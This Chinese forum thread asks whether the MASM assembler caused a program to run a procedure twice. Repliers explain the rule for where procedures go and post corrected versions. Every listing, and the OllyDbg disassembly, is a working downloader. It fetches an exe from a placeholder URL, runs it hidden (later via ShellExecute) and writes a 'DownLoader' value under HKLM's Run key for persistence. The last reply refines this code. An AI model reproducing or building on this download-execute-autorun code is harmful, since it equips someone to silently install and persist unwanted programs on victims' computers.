首页
社区
课程
招聘
奇怪的问题:难道是编译器犯了错误?[讨论]
发表于: 2007-3-14 22:00 5120

奇怪的问题:难道是编译器犯了错误?[讨论]

2007-3-14 22:00
5120
在CSDN看到的,觉得有点意思,拿来请教大家一下
代码如下:

.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\urlmon.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\urlmon.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib

.data
URL               db "http://127.0.0.1/xxx.exe",0
EXE               db "d:\xxx.exe",0;
szRegKey          db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue        db "DownLoader",0 

.code
start:


invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke WinExec,addr EXE,0;

_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKey     endp

invoke   _EnumKey,NULL;
invoke ExitProcess,NULL;

end start



经过编译过后,程序无法正常退出。
用OD反汇编看了一下
00401000 >/$  6A 00         push    0
00401002  |.  6A 00         push    0
00401004  |.  68 19304000   push    00403019                         ;  ASCII "d:\xxx.exe"
00401009  |.  68 00304000   push    00403000                         ;  ASCII "http://127.0.0.1/xxx.exe"
0040100E  |.  6A 00         push    0
00401010  |.  E8 67000000   call    <jmp.&urlmon.URLDownloadToFileA>
00401015  |.  6A 00         push    0                                ; /ShowState = SW_HIDE
00401017  |.  68 19304000   push    00403019                         ; |CmdLine = "d:\xxx.exe"
0040101C  |.  E8 55000000   call    <jmp.&kernel32.WinExec>          ; \WinExec
00401021  |$  55            push    ebp
00401022  |.  8BEC          mov     ebp, esp
00401024  |.  83C4 F0       add     esp, -10
00401027  |.  8D45 FC       lea     eax, [ebp-4]
0040102A  |.  50            push    eax                              ; /pHandle
0040102B  |.  68 24304000   push    00403024                         ; |Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
00401030  |.  68 02000080   push    80000002                         ; |hKey = HKEY_LOCAL_MACHINE
00401035  |.  E8 4E000000   call    <jmp.&advapi32.RegCreateKeyA>    ; \RegCreateKeyA
0040103A  |.  0BC0          or      eax, eax
0040103C  |.  75 20         jnz     short 0040105E
0040103E  |.  6A 0A         push    0A                               ; /BufSize = A (10.)
00401040  |.  68 19304000   push    00403019                         ; |Buffer = 1.00403019
00401045  |.  6A 01         push    1                                ; |ValueType = REG_SZ
00401047  |.  6A 00         push    0                                ; |Reserved = 0
00401049  |.  68 52304000   push    00403052                         ; |ValueName = "DownLoader"
0040104E  |.  FF75 FC       push    dword ptr [ebp-4]                ; |hKey
00401051  |.  E8 38000000   call    <jmp.&advapi32.RegSetValueExA>   ; \RegSetValueExA
00401056  |.  FF75 FC       push    dword ptr [ebp-4]                ; /hKey
00401059  |.  E8 24000000   call    <jmp.&advapi32.RegCloseKey>      ; \RegCloseKey
0040105E  |>  C9            leave
0040105F  \.  C2 0400       retn    4
00401062   .  6A 00         push    0
00401064   .  E8 B8FFFFFF   call    00401021
00401069   .  6A 00         push    0                                ; /ExitCode = 0
0040106B   .  E8 00000000   call    <jmp.&kernel32.ExitProcess>      ; \ExitProcess


经过编译器编译过后,它把子程序的地址安排在invoke WinExec,addr EXE,0;这一句代码后面,我们的本意是要在执行完invoke WinExec,addr EXE,0;后就执行这里:
00401062   .  6A 00         push    0
00401064   .  E8 B8FFFFFF   call    00401021

但由于编译过后,子程序的地址跑到了invoke WinExec,addr EXE,0;下面,
0040101C  |.  E8 55000000   call    <jmp.&kernel32.WinExec>          ; \WinExec
00401021  |$  55            push    ebp

所以,我们的子程序会执行两次,由于第一次执行子程序的时候不是我们本来的意思,所以,堆栈的返回地址不正确,程序就会返回到系统领空,于是,就不能正常退出了。

这是编译器的错么?

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 235
活跃值: (100)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
我也遇到过此类问题
2007-3-14 22:11
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
原来编译器是逐行编译的,所以会出现这种情况,看来罗云彬的书上说的把子函数安排到前面是不科学的。像下面这样写再编译就没有问题了。宁愿先用proto声明一下……,否则程序的流程都会被改变,导致意想不到的问题!
.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
include advapi32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
includelib advapi32.lib

_EnumKey proto :DWORD

.data
URL               db "http://127.0.0.1/xxx.exe",0
EXE               db "d:\xxx.exe",0;
szRegKey          db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue        db "DownLoader",0 

.code
start:

invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke WinExec,addr EXE,0;
invoke   _EnumKey,NULL;
invoke ExitProcess,NULL;

_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
_EnumKey     endp

end start
2007-3-14 23:03
0
雪    币: 642
活跃值: (2882)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4
我想你应该理解错误了,罗老的本意应该是这样吧:
.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
include advapi32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
includelib advapi32.lib


.data
URL               db "http://127.0.0.1/xxx.exe",0
EXE               db "d:\xxx.exe",0;
szRegKey          db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue        db "DownLoader",0 

.code
_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
_EnumKey     endp
start:

invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke WinExec,addr EXE,0;
invoke   _EnumKey,NULL;
invoke ExitProcess,NULL;

end start
2007-3-15 05:39
0
雪    币: 2384
活跃值: (766)
能力值: (RANK:410 )
在线值:
发帖
回帖
粉丝
5
呵呵,是的,是你理解错了,函数如果写在前面,必须写在.code下面,而在start标号前面才行。因为程序是从start标号开始执行的。
2007-3-15 07:59
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
哦,明白了.

又看了下他那书,果然是我理解错了.谢谢各位.
2007-3-15 08:35
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
7
对于EXE长度的计算,直接写个常量貌似并不是最佳做法..如果它的值很长,楼主不会一个一个数吧?应该这样:
invoke lstrlen,addr EXE
mov @hSize,eax
这样,RegSetValueEx最后一个参数就可以用@hSize
修改一下代码:

.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
include advapi32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
includelib advapi32.lib

.data
URL               db "http://127.0.0.1/xxx.exe",0
EXE               db "d:\xxx.exe",0;
szRegKey          db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue        db "DownLoader",0

.code
_EnumKey   proc
  local   @hKey:DWORD
  local   @hSize:DWORD
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke lstrlen,addr EXE
  mov @hSize,eax
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr EXE,@hSize ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
_EnumKey     endp
start:

invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0
invoke ShellExecute,0,0,addr EXE,0,0,SW_SHOW
call _EnumKey
invoke ExitProcess,NULL

end start
2007-3-15 09:26
0
游客
登录 | 注册 方可回帖
返回
//